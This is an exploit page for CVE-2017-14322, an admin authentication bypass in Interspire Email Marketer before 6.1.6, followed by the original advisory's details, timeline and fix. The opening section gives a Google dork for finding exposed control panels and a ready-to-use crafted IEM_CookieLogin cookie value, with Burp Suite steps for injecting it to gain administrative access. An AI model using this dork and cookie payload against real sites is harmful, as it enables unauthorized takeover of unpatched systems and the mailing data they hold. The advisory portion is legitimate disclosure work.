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CVE-2017-14322 Interspire Email Marketer (emailmarketer) Exploit

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CVE-2017-14322 Interspire Email Marketer (emailmarketer) Exploit

Google Dork

intitle:"Control Panel" + emailmarketer

Exploit using Burp Suit

Add a Match and Replace for Request header like below:

Match: ^Cookie.*$
Replace: Cookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D

When you open the site, it won't work for the first time as the Cookie header is not present. Refresh the site 2nd time using Burp proxy with added above rule, you'll see what you have wanted. Make sure to tick on "Intercept Client Requests"

Title:

Interspire Email Marketer - Remote Admin Authentication Bypass

Author:

Hakan Küsne, Infoteam Security (CH)

CVE-ID:

CVE-2017-14322

Risk Information:

CVSS Base Score: 9.8 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O

Timeline:

2017-09-12 Vulnerability discovered 2017-09-12 Discovered vendor already fixed it but never communicated to clients, leaving hundreds vulnerable in the wild 2017-10-17 Public disclosure

Affected Products:

Interspire Email Marketer prior to version 6.1.6

Vendor Homepage:

http://www.interspire.com/emailmarketer/

Details:

The function in charge of checking whether the user is already logged in init.php in Interspire Email Marketer (IEM) prior to 6.1.6 allows remote attackers to bypass authentication and obtain administrative access by using the IEM_CookieLogin cookie with a specially crafted value. On top of that, if the customer doesn't have an annuel maintenance plan, the application says that it's on the last available version and there is no update.

The vulnerabilities were found during an incident response on a compromise instance of the application.

Proof of Concept:

Details provided here : https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html

Fix:

Vendor has patched the vulnerability in version 6.1.6, but never communicated to it's customers about it specifically.

Note:

This exploit is for educational purpose only and not responsible for your own actions.

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